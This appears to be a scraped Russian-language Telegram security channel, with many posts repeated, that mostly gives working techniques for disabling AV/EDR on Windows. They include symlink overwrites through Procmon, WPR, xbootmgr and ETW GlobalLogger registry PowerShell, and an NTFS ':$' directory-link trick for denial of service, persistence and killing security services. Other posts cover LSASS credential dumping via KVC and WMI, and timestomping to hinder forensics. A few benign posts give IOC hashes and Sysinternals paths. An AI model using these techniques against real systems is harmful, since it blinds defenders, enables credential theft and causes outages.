Как за пару кнопок убить AV/EDR (разных цветов)
Из требований:
- Наличие прав админа на тачке;
- Возможность доставки procmon.
А далее всё более чем прозаично.
1. Включение функции "EnableBootLooging";
2. Создание символической ссылки:
3. Ребут тачки.
Получаем магию.
Подробнее:
https://www.zerosalarium.com/2025/01/byovd%20next%20level%20blind%20EDR%20windows%20symbolic%20link.html?m=1
Из требований:
- Наличие прав админа на тачке;
- Возможность доставки procmon.
А далее всё более чем прозаично.
1. Включение функции "EnableBootLooging";
2. Создание символической ссылки:
mklink C:\Windows\Procmon.pmb "<Полный путь до файла который требуется перезаписать>"
3. Ребут тачки.
Получаем магию.
Подробнее:
https://www.zerosalarium.com/2025/01/byovd%20next%20level%20blind%20EDR%20windows%20symbolic%20link.html?m=1
Forwarded from 1N73LL1G3NC3
Win32_Process has been the go to WMI class for remote command execution for years. In this post we will cover a new WMI class that functions like Win32_Process and offers further capability.
🔗 WMI_Proc_Dump.py
Dump processes over WMI with MSFT_MTProcess
🔗 mtprocess.py
Python script that uses Impacket to use the MSFT_MTProcess WMI class to execute a command. If wanting to use against a Workstation it can install the provider.
P.S. One more way to dump LSASS.
Please open Telegram to view this post
VIEW IN TELEGRAM
Сегодня немножечко про обновление временныхметок в NTFS.
Временные метки $STANDART_INFORMATION (0x10), возможно спокойно изменить, через Powershell из пространства пользователя. Изменение временных меток $FILE_NAME (0x30) происходит на уровне ядра. В случае, если при Timestomping изменить только временные метки $STANDART_INFORMATION (0x10), то будет заметно явное расхождение временных меток при анализе $MFT.
Однако, есть достаточно простые варианты синхронизации временных меток $SI с $FN.
1) Переименование файла;
2) Перемещение файла в другую директорию (однако тут ещё надо менять временные метки самой папки, поэтому такой себе вариант).
На скриншотах 1,2 временные метки создания файла для $SI и $FN, на 3,4 видно расхождение временных меток $SI и $FN после Timestomping. На скриншотах 5,6 видно, что при переименовании файла временные метки синхронизировались.
Да, в данном случае всё равно существуют альтернативные артефакты с помощью которых можно выявить Timestomping, но всё равно это несколько усложняет анализ.
#FORENSIC
Временные метки $STANDART_INFORMATION (0x10), возможно спокойно изменить, через Powershell из пространства пользователя. Изменение временных меток $FILE_NAME (0x30) происходит на уровне ядра. В случае, если при Timestomping изменить только временные метки $STANDART_INFORMATION (0x10), то будет заметно явное расхождение временных меток при анализе $MFT.
Однако, есть достаточно простые варианты синхронизации временных меток $SI с $FN.
1) Переименование файла;
2) Перемещение файла в другую директорию (однако тут ещё надо менять временные метки самой папки, поэтому такой себе вариант).
На скриншотах 1,2 временные метки создания файла для $SI и $FN, на 3,4 видно расхождение временных меток $SI и $FN после Timestomping. На скриншотах 5,6 видно, что при переименовании файла временные метки синхронизировались.
Да, в данном случае всё равно существуют альтернативные артефакты с помощью которых можно выявить Timestomping, но всё равно это несколько усложняет анализ.
#FORENSIC
5
Кхм едем дальше, а что если не procmon, а что нибудь другое, к примеру WPR (Windows Performance Recorder), xbootmgr и WMI )).
Для WPR:
У меня это "C:\ProgramData\Test", там создаются два файлика (после перезагрузки, если они ещё не существуют),
Ребутаем тачку
Для xbootmgr:
Процесс ребутает тачку сам, поэтому сначала создаем директорию и симлинки, а потом уже выполняем команду.
Для WMI:
После аналогично cоздаем симлинк и ребутаем тачку.
Вопрос сколько ещё таких вариантов реализации, видимо огромное множество.
Для WPR:
wpr -boottrace -addboot GeneralProfile -filemode -recordtempto С:\<путь какой нравится>
У меня это "C:\ProgramData\Test", там создаются два файлика (после перезагрузки, если они ещё не существуют),
WPR_initiated_WprApp_boottr_WPR Event Collector.etl и WPR_initiated_WprApp_boottr_WPR System Collector.etl, соответственно, что мы идем делать симлинки до файлов AV/EDR.mklink "C:\<путь до etl>\WPR_initiated_WprApp_boottr_WPR Event Collector.etl" "C:\<путь до файла службы"
mklink "C:\<путь до etl>\WPR_initiated_WprApp_boottr_WPR Event Collector.etl" "C:\<путь до файла службы"
Ребутаем тачку
Для xbootmgr:
xbootmgr -trace boot -traceFlags BASE+CSWITCH+DRIVERS+POWER -resultPath C:\<путь до логов>
mklink "C:\<путь до etl>\boot_BASE+CSWITCH+DRIVERS+POWER_1_km_premerge.etl" "C:\<путь до файла службы"
mklink "C:\<путь до etl>\boot_BASE+CSWITCH+DRIVERS+POWER_1_um_premerge.etl" "C:\<путь до файла службы"
Процесс ребутает тачку сам, поэтому сначала создаем директорию и симлинки, а потом уже выполняем команду.
Для WMI:
$reg = [wmiclass]'root\default:StdRegProv'
$HKLM = 2147483650
$base = 'SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger'
$null = $reg.CreateKey($HKLM,$base)
$reg.SetDWORDValue($HKLM,$base,'Start',1)
$reg.SetStringValue($HKLM,$base,'FileName','C:\<путь до>\GlobalLogger.etl')
$flags = 0x00000010 -bor 0x00000020
$bytes = [BitConverter]::GetBytes([UInt32]$flags)
$reg.SetBinaryValue($HKLM,$base,'EnableKernelFlags',$bytes)
После аналогично cоздаем симлинк и ребутаем тачку.
Вопрос сколько ещё таких вариантов реализации, видимо огромное множество.
IOC'S
#APT RAREWOLF
Очередная редакция дополнительного соглашения к договору № 14976-59.rar
SHA256: 8BF5405D4AE1AE54900E4B496EAEF70748C39FB67FD929C7DE53C96066FD9C7C
1С Предприятие - Проект дополнительного соглашения к Договору № 14976-59.scr
SHA256: C57EB6FA6DFAA1CBDDC5CEAF394B78B1739F4AC0B081D63824A020C9F910A293
Калькуляция.xlsx (Документ приманка)
SHA256: 231621A5383B955972801069A943929017F5C9D3BF33AEE5B009D0B63AFC3249
#APT RAREWOLF
Иногда надоедает постоянно скачивать какие-то утилиты Sysinternals для проведения тестов и после отката к голому образу? Так можно их не скачивать.
Live Sysinternals - это публикация всего набора утилит Sysinternals на веб-ресурсе Microsoft, позволяющая запускать их прямо из сети без предварительной установки или ручной выгрузки архива. Доступ возможен как через браузер, так и через UNC-путь из Проводника, командной строки или PowerShell.
Live Sysinternals - это публикация всего набора утилит Sysinternals на веб-ресурсе Microsoft, позволяющая запускать их прямо из сети без предварительной установки или ручной выгрузки архива. Доступ возможен как через браузер, так и через UNC-путь из Проводника, командной строки или PowerShell.
Запустить Process Explorer из сети:
\\live.sysinternals.com\tools\procexp.exe
Запустить Process Monitor:
\\live.sysinternals.com\tools\procmon.exe
Открыть весь каталог в Проводнике:
в адресной строке введите \\live.sysinternals.com\tools
Как убить службу AV/EDR не прибегая к symlink и сторонним драйверам в Windows
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Как показал кейс с использованием Procmon и аналогичных утилит, ключевая идея состоит в поиске драйвера, который фиксирует события на самых ранних этапах загрузки операционной системы. Возникает естественный вопрос: можно ли обойтись без установки собственных драйверов и дополнительных компонентов, опираясь только на доступные в системе механизмы и не прибегая к символическим ссылкам.
А что, если немножечко изменить те пути куда уже пишутся какие то логи самой системой?
И тут есть отличная веточка реестра
HKLM\SYSTEM\CurrentControlSet\Control\WMI в которой существуют AutoLogger и GlobalLogger.WMI AutoLogger - способ настраивать одну или несколько автосессий трассировки, которые стартуют при загрузке. В отличие от GlobalLogger, каждая AutoLogger-сессия самостоятельно рассылает провайдерам сигнал включения и может быть точно настроена под нужный набор провайдеров. AutoLogger не предназначен для записи специальных событий ядра NT Kernel Logger - для этого используется GlobalLogger.
WMI GlobalLogger - исторически более ранний механизм единственной глобальной сессии. Он также стартует на раннем этапе загрузки и может включать ядровые провайдеры через специальные флаги. Важно, что контроллер GlobalLogger не вызывает EnableTrace для провайдеров - провайдер сам должен определить, что глобальная сессия активна, и включить запись.
В AutoLogger уже есть достаточное количество различных сессий, можете тестировать разные (какие то работают, какие-то нет). В моем случае использовалась
HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\ReadyBoot, где можно заменить путь указанный в FileName на путь к файлу службы, который хотим перезаписать.Для GlobalLogger по умолчанию у меня не было никаких настроек, но можно добавить их самостоятельно:
$reg = [wmiclass]'root\default:StdRegProv'
$HKLM = 2147483650
$base = 'SYSTEM\CurrentControlSet\Control\WMI\GlobalLogger'
$null = $reg.CreateKey($HKLM,$base)
$reg.SetDWORDValue($HKLM,$base,'Start',1)
$reg.SetStringValue($HKLM,$base,'FileName','C:\<путь до файла службы который требуется перезаписать>.exe')
$flags = 0x00000010 -bor 0x00000020
$bytes = [BitConverter]::GetBytes([UInt32]$flags)
$reg.SetBinaryValue($HKLM,$base,'EnableKernelFlags',$bytes)
Из минусов только наличие прав админа и перезагрузка хоста, но в целом выглядит жизнеспособно.
KVC - Kernel Vulnerability Capabilities Framework
Фреймворк Kernel Vulnerability Capabilities (KVC) представляет собой смену парадигмы в исследованиях безопасности Windows, предлагая беспрецедентный доступ к внутренним компонентам современной Windows посредством сложных операций на уровне «кольца 0». Изначально задуманный как «контроль уязвимостей ядра», фреймворк развивался, делая акцент не просто на контроле, а на полном использовании возможностей ядра Windows для легитимного исследования безопасности и тестирования на проникновение.
KVC устраняет критический пробел, оставленный традиционными криминалистическими инструментами, которые устарели на фоне современных мер по усилению безопасности Windows. Там, где такие инструменты, как ProcDump и Process Explorer, не справляются с ограничениями Protected Process Light (PPL), KVC добивается успеха, работая на уровне ядра, манипулируя теми же структурами, которые определяют эти средства защиты.
Возможностей достаточно много, описаны подробно в на странице проекта.
[GitHub]
Фреймворк Kernel Vulnerability Capabilities (KVC) представляет собой смену парадигмы в исследованиях безопасности Windows, предлагая беспрецедентный доступ к внутренним компонентам современной Windows посредством сложных операций на уровне «кольца 0». Изначально задуманный как «контроль уязвимостей ядра», фреймворк развивался, делая акцент не просто на контроле, а на полном использовании возможностей ядра Windows для легитимного исследования безопасности и тестирования на проникновение.
KVC устраняет критический пробел, оставленный традиционными криминалистическими инструментами, которые устарели на фоне современных мер по усилению безопасности Windows. Там, где такие инструменты, как ProcDump и Process Explorer, не справляются с ограничениями Protected Process Light (PPL), KVC добивается успеха, работая на уровне ядра, манипулируя теми же структурами, которые определяют эти средства защиты.
Возможностей достаточно много, описаны подробно в на странице проекта.
# Traditional approach (FAILS on modern Windows)
procdump.exe -ma lsass.exe lsass.dmp
# Result: Access Denied (0x80070005)
# KVC approach (SUCCEEDS)
kvc.exe dump lsass
# Result: Full memory dump with credentials
[GitHub]
Как вы считаете, если есть возможность любую папку в системе превратить в ярлык в том числе system32 при этом оригинальная папка больше никогда не будет загружена это уязвимость ?
Anonymous Poll
80%
Да 🫡
20%
Нет 🫤
Bypassing directory emptiness check
Возвращаясь к ответу на опрос, проводимый постом выше, Microsoft не признали это уязвимостью.
Файлы на томе NTFS хранятся в формате: <имя_файла>:<имя_потока>:<тип> и при создании символической ссылки через CreateSymbolicLinkW передаются такие параметры:
Подробнее
Упрощённо последовательность такая:
1. Нормализация путей (DOS - NT-путь), определение типа ссылки (на файл или каталог), проверка права SeCreateSymbolicLinkPrivilege либо режима разработчика;
2. Создание «контейнера» будущей ссылки;
3. Открытие этого объекта с флагами FILE_FLAG_OPEN_REPARSE_POINT;
4. Формирование REPARSE_DATA_BUFFER;
4. Формирование REPARSE_DATA_BUFFER с меткой IO_REPARSE_TAG_SYMLINK (для джанкшенов - IO_REPARSE_TAG_MOUNT_POINT).
В драйвере NTFS запрос попадает в обработчик FSCTL_SET_REPARSE_POINT. Перед записью атрибута $REPARSE_POINT NTFS выполняет валидации:
- Объект действительно файл/каталог NTFS и не содержит «несовместимых» атрибутов;
- У объекта нет уже установленного reparse-тэга (или разрешена замена специальным контролом);
- Для каталога: каталог обязан быть пустым. Проверка реализуется как перечисление записей индекса каталога (структуры $INDEX_ROOT/$INDEX_ALLOCATION) и убеждение, что присутствуют только служебные . и ... Если есть любые дочерние записи - возвращается статус ядра STATUS_DIRECTORY_NOT_EMPTY, который Procmon показывает как NOT EMPTY.
Однако, для Windows 10 (тестировал на сборке 22H2) данной проверки видимо не происходит и при передаче в качестве lpSymlinkFileName формата <имя_файла>:<любые символы> проверяется на существование полная строка, в результате существующая директория превращается в линку...
Таким образом мы получаем следующие возможности:
1. Вызвать DOS системы, если критичные системные каталоги превратить в симлинку;
2. Сделать невозможной для чтения директорию с находящимися в ней файлами (к примеру отключить полностью AV/EDR т.к. система не сможет прочитать их файлы во время загрузки;
3. Если допустим заранее скопировать папки AV/EDR в другую директорию подменить любые файлы на те которые хотим (допустим подменить службу агента EDR, то она будет запущена при старте системы, т.е. по сути возможно выполнить закрепление через службу используя уже существующую службу) и многое другое, что зависит от вашей фантазии.
Самый простой вариант эксплуатации:
Если кратко: на сборках Windows 10 открытие каталога через поток :$ позволяло обойти проверку пустоты, поэтому FSCTL_SET_REPARSE_POINT по пути вида ...\:$ завершался успешно. В Windows 11 ntfs.sys исправлен: он всегда проверяет сам каталог, поэтому возвращает NOT EMPTY.
Если данную технику комбинировать с Applocker и Backstab, то можно обойтись без перезагрузки хоста, и службы AV/EDR более не загрузятся (тестировалось как POC, не уверен, что работает с СЗИ всех вендоров, но после перезагрузки результат уже 100%)
1. Создаем политику запрета служб AV/EDR по серту издателя
2. Создаем линку (уничтожаем директорию и подменяем её своей для закрепа)
3. С помощью Backstab уничтожаем сервисы AV/EDR
(ТЕСТИРОВАЛОСЬ НА WIN10 - РАБОТАЕТ, НА WINDOWS 11, WINDOWS SERVER 2022 - НЕ РАБОТАЕТ, НА SERVER 2016 ПРЕДПОЛОЖИТЕЛЬНО РАБОТАЕТ НАДО ТЕСТИРОВАТЬ)
Дополнительно фишки NTFS
Возвращаясь к ответу на опрос, проводимый постом выше, Microsoft не признали это уязвимостью.
Файлы на томе NTFS хранятся в формате: <имя_файла>:<имя_потока>:<тип> и при создании символической ссылки через CreateSymbolicLinkW передаются такие параметры:
BOOLEAN CreateSymbolicLinkW(
[in] LPCWSTR lpSymlinkFileName,
[in] LPCWSTR lpTargetFileName,
[in] DWORD dwFlags
);
Подробнее
Упрощённо последовательность такая:
1. Нормализация путей (DOS - NT-путь), определение типа ссылки (на файл или каталог), проверка права SeCreateSymbolicLinkPrivilege либо режима разработчика;
2. Создание «контейнера» будущей ссылки;
3. Открытие этого объекта с флагами FILE_FLAG_OPEN_REPARSE_POINT;
4. Формирование REPARSE_DATA_BUFFER;
4. Формирование REPARSE_DATA_BUFFER с меткой IO_REPARSE_TAG_SYMLINK (для джанкшенов - IO_REPARSE_TAG_MOUNT_POINT).
В драйвере NTFS запрос попадает в обработчик FSCTL_SET_REPARSE_POINT. Перед записью атрибута $REPARSE_POINT NTFS выполняет валидации:
- Объект действительно файл/каталог NTFS и не содержит «несовместимых» атрибутов;
- У объекта нет уже установленного reparse-тэга (или разрешена замена специальным контролом);
- Для каталога: каталог обязан быть пустым. Проверка реализуется как перечисление записей индекса каталога (структуры $INDEX_ROOT/$INDEX_ALLOCATION) и убеждение, что присутствуют только служебные . и ... Если есть любые дочерние записи - возвращается статус ядра STATUS_DIRECTORY_NOT_EMPTY, который Procmon показывает как NOT EMPTY.
Однако, для Windows 10 (тестировал на сборке 22H2) данной проверки видимо не происходит и при передаче в качестве lpSymlinkFileName формата <имя_файла>:<любые символы> проверяется на существование полная строка, в результате существующая директория превращается в линку...
Таким образом мы получаем следующие возможности:
1. Вызвать DOS системы, если критичные системные каталоги превратить в симлинку;
2. Сделать невозможной для чтения директорию с находящимися в ней файлами (к примеру отключить полностью AV/EDR т.к. система не сможет прочитать их файлы во время загрузки;
3. Если допустим заранее скопировать папки AV/EDR в другую директорию подменить любые файлы на те которые хотим (допустим подменить службу агента EDR, то она будет запущена при старте системы, т.е. по сути возможно выполнить закрепление через службу используя уже существующую службу) и многое другое, что зависит от вашей фантазии.
Самый простой вариант эксплуатации:
mklink "<путь до первой папки где лежит AV/EDR>:$" "<Путь до новой папки с нашими файлами без имени первой папки AV/EDR>"
Если кратко: на сборках Windows 10 открытие каталога через поток :$ позволяло обойти проверку пустоты, поэтому FSCTL_SET_REPARSE_POINT по пути вида ...\:$ завершался успешно. В Windows 11 ntfs.sys исправлен: он всегда проверяет сам каталог, поэтому возвращает NOT EMPTY.
Если данную технику комбинировать с Applocker и Backstab, то можно обойтись без перезагрузки хоста, и службы AV/EDR более не загрузятся (тестировалось как POC, не уверен, что работает с СЗИ всех вендоров, но после перезагрузки результат уже 100%)
1. Создаем политику запрета служб AV/EDR по серту издателя
2. Создаем линку (уничтожаем директорию и подменяем её своей для закрепа)
3. С помощью Backstab уничтожаем сервисы AV/EDR
(ТЕСТИРОВАЛОСЬ НА WIN10 - РАБОТАЕТ, НА WINDOWS 11, WINDOWS SERVER 2022 - НЕ РАБОТАЕТ, НА SERVER 2016 ПРЕДПОЛОЖИТЕЛЬНО РАБОТАЕТ НАДО ТЕСТИРОВАТЬ)
Дополнительно фишки NTFS